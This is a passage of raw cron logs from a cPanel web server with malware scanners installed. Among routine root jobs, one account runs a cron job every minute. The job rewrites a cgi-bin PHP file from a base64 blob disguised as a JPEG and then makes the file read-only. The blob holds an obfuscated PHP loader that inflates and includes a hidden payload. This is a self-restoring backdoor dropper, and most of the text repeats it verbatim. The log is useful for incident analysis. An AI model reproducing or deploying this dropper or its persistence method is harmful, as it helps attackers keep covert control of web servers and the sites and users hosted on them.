--decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:52:01 server CROND[4450]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:52:01 server CROND[4452]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:52:01 server CROND[4451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:53:01 server CROND[4815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:53:01 server CROND[4816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:53:01 server CROND[4817]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:54:01 server CROND[5185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:54:01 server CROND[5186]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:54:01 server CROND[5187]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:55:01 server CROND[5664]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:55:01 server CROND[5665]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 03:55:01 server CROND[5666]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 03:55:01 server CROND[5668]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 03:55:01 server CROND[5669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:55:01 server CROND[5673]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:55:01 server CROND[5676]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 03:56:01 server CROND[6494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:56:01 server CROND[6495]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:56:01 server CROND[6499]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:57:01 server CROND[6870]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:57:01 server CROND[6871]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 13 03:57:01 server CROND[6872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:57:01 server CROND[6873]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:58:01 server CROND[7236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:58:01 server CROND[7237]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:58:01 server CROND[7238]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:59:01 server CROND[7600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:59:01 server CROND[7601]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 03:59:01 server CROND[7602]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 04:00:01 server CROND[8082]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 04:00:01 server CROND[8083]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 04:00:01 server CROND[8088]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 13 04:00:01 server CROND[8096]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 04:00:01 server CROND[8099]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 04:00:01 server CROND[8100]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 04:00:01 server CROND[8103]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 04:00:01 server CROND[8107]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 13 04:00:01 server CROND[8105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 04:00:01 server CROND[8104]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 04:01:01 server CROND[8956]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 04:01:01 server CROND[8958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 04:01:01 server CROND[8959]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 04:01:01 server CROND[8957]: (root) CMD (run-parts /etc/cron.hourly)
Sep 13 04:01:01 server run-parts(/etc/cron.hourly)[8957]: starting 0anacron
Sep 13 04:01:01 server anacron[8978]: Anacron started on 2026-09-13
Sep 13 04:01:01 server anacron[8978]: Job `cron.daily' locked by another anacron - skipping
Sep 13 04:01:01 server anacron[8978]: Normal exit (0 jobs run)
Sep 13 04:01:01 server run-parts(/etc/cron.hourly)[8980]: finished 0anacron
Sep 13 04:02:01 server CROND[9347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 04:02:01 server CROND[9348]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 04:02:01 server CROND[9349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 04:03:01 server CROND[9718]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 04:03:01 server CROND[9724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 04:03:01 server CROND[9725]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wE